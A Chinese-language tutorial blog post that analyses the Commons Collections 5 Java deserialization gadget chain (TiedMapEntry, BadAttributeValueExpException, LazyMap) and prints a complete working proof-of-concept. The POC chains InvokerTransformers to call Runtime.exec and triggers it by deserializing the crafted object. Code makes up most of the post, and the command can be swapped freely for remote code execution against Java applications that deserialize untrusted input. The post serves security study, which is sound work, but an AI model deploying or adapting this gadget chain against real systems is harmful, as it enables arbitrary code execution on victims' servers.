引子
在jdk1.8的时候Annotationinvocation的readObject方法被改写,cc1链就不适用了,cc5链是基于Lazymap类在jdk1.8使用TiedMapEntry+BadAttributeValueExpException来触发LazyMap的get方法。
TiedMapEntry类
toString方法中有个getValue()
public String toString() {
return getKey() + "=" + getValue();
}
而在getValue()
中会发现又调用了get()
public V getValue() {
return this.map.get(this.key);
}
可以发现返回的是map.get()方法,联想到CC1 lazymap链的后面部分,也是需要调用lazymap的get方法,我们只需要利用构造方法把map赋给lazymap.
public TiedMapEntry(Map<K, V> map, K key) {
this.map = map;
this.key = key;
}
构造攻击链
然后我们寻找如何触发toString方法,BadAttributeValueExpException
类中的readObject()
中 调用了该方法。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
可以看到关键
val = valObj.toString();
我们只需要要让valObj为TiedMapEntry类,现在看看要如何做,先找给valObj赋值的地方。
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
调用readFields
从流中读取了所有的持久化字段,然后调用get()
方法得到了名字是val
的字段。
private Object val;
现在我们只需要修改val的值就可以了。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//Reflection
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
POC
整个的POC
package com.summer.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"XINO");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//Reflection
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
byte[] bytes = serialize(badAttributeValueExpException);
//System.out.println(System.getSecurityManager());
unserialize(bytes);
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
}
注意
这里需要注意的一点是
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
防止还没反序列化就进行攻击链了。
结语
今天给大家带来的是CC5链的构造分析,也是基本按照CC1走下来的,只是后面的部分不太一样。希望大家有所收获。